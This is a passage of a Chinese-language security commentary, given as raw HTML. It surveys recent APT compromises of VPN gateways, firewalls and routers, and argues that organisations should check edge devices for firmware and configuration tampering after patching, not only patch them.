VPN网关，从2023年底开始被中国关联APT组织UNC5221利用零日漏洞大规模渗透，波及台湾、日本、韩国等地的制造业、政府、金融、半导体等关键行业。CISA直接下令——48小时内，所有联邦机构必须断开Ivanti产品。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Cisco ASA防火墙，2024年4月被曝ArcaneDoor攻击活动，攻击者用两个零日漏洞拿下了防火墙的控制权。到2025年9月，CISA又发紧急指令，因为发现APT至少从2024年起就能修改ASA的ROM固件。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Fortinet FortiManager，2024年底被曝CVE-2024-47575，缺失身份验证直接导致系统完全失陷。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Palo Alto PAN-OS，2024年底CVE-2024-0012身份验证不当加CVE-2024-9474命令注入，组合利用可直接拿下管理面。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个名单还可以继续拉长。Citrix NetScaler、Barracuda邮件安全网关、守内安SPAM SQR……过去两年里，几乎所有主流边界安全设备厂商都被打穿过。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">奇安信威胁情报中心2024年中报告里有一句话总结得很到位：往年零日漏洞主要集中在微软、谷歌、苹果三家，2024年这个格局被打破了，空缺部分被网络边界设备自身漏洞填补。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">说白了就是：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">你花大价钱买来保护自己的设备，现在成了攻击者进来的门。</span></strong></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而且这不是偶发的漏洞利用。从已经披露的案例来看，国家级APT组织正在系统性地研究和囤积边界设备的零日漏洞，把VPN网关、防火墙、邮件安全网关当作首选突破口。原因也不复杂——这些设备常年暴露在互联网上，运行专有操作系统，没有EDR覆盖，大部分甲方的安全团队对它们的内部运行状态几乎没有可见性。打进去之后还特别好藏，因为没人查。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然而面对这波针对安全设备本身的攻击潮，国内安全行业的反应是什么？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">几乎没有。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">厂商发了补丁通告，甲方打了补丁（也许），然后继续照旧。没有人追问一个更根本的问题：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">补丁打完了，你怎么确认设备没被动过手脚？固件是干净的吗？配置还是你自己配的吗？有没有人在设备里留了后门？</span></strong></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">不只是漏洞的问题</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">很多人把上面这些事件理解为&#34;安全设备也有漏洞，打补丁就好了&#34;。这个理解太浅了。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">看看Salt Typhoon干了什么。2025年8月NSA和CISA的联合公告披露，这个APT组织从2021年开始渗透全球电信运营商的骨干路由器——不是利用完就走，是住进去了。在路由器里驻留了四年。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">他们在设备上做的事包括：通过SNMP和SSH操控路由器命令行；读取和修改路由配置；配置端口镜像抓取所有过境流量；建GRE和IPsec隧道把数据外传；用Cisco Guest Shell容器藏工具。做完之后清日志、改回配置，像没来过一样。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">APT28（俄罗斯GRU）也是类似的套路。2023年CISA和英国NCSC联合披露，APT28用SNMP漏洞在Cisco路由器上部署了Jaguar Tooth恶意软件——一个专门为路由器写的后门。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ArcaneDoor更进一步——攻击者直接修改了Cisco ASA的ROM。这意味着即使你重装系统、恢复出厂设置，后门依然在。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些攻击的共同特征是：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">攻击者不是利用完漏洞就走，而是在设备固件和配置层建立持久的、难以检测的驻留。</span></strong><span leaf=""> 打补丁解决的是入口问题，不解决&#34;人家已经进来了还没走&#34;的问题。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而大部分甲方在设备被曝漏洞后的应急动作是：打补丁，完事。有几家做了固件校验？有几家dump了内存做取证分析？有几家检查了设备上有没有多出来的SPAN配置、隧道、用户账号？</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">你的安全监控体系有一个洞</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">把话说得更直接一点。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">你的终端全覆盖了EDR。你的服务器装了HIDS。你的应用前面挂了WAF。你的日志都接进了SIEM。感觉挺完整的对吧？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但你的出口防火墙上没有EDR。你的VPN网关上没有EDR。你的核心路由器上没有EDR。你的邮件安全网关上没有EDR。你的负载均衡上没有EDR。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些设备跑的是Cisco IOS、FortiOS、PAN-OS、华为VRP、H3C Comware——专有系统，不支持装第三方安全代理。你的整个安全监控体系，对这些设备的内部状态基本是瞎的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">更要命的是职责归属。网络设备归网络组管，安全团队不碰。网络组关心可用性和性能，安全不是他们的KPI。安全团队关心终端和应用，网络设备不在视野里。两边各看各的，中间这一层——谁也不管。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CISA在网络基础设施安全指南里说了一句很扎心的话：网络设备在安全事件的调查和恢复中经常被忽视。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">&#34;经常被忽视&#34;。用来描述一个承载全公司所有流量、而且正在被APT系统性攻击的关键基础设施。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">几个不得不面对的问题</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">你知道自己有多少网络设备吗？</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">别笑。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总部的核心设备，大概率有人管。但分支机构呢？远程站点呢？仓库、工厂、营业网点呢？很多组织的分支节点上跑着各种消费级路由器和小型防火墙，型号五花八门，固件版本不明，有的厂商早就EOL了还在跑。这些设备不在资产管理系统里，不在漏洞扫描范围内，更不在安全监控视野中。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而这些&#34;边缘设备&#34;恰恰是APT最喜欢的入口。Volt Typhoon长期利用Cisco和Netgear的小型路由器建立C2通道。2025年初曝光的PolarEdge僵尸网络，专门针对Cisco小型企业路由器、ASUS路由器、QNAP NAS这类设备。2025年曝光的Operation WrtHug，把全球数万台ASUS老旧路由器变成了恶意代理网络。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">你不知道的设备，就是你防不住的设备。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">你的设备固件是干净的吗？</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个问题大部分甲方从来没问过自己。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: 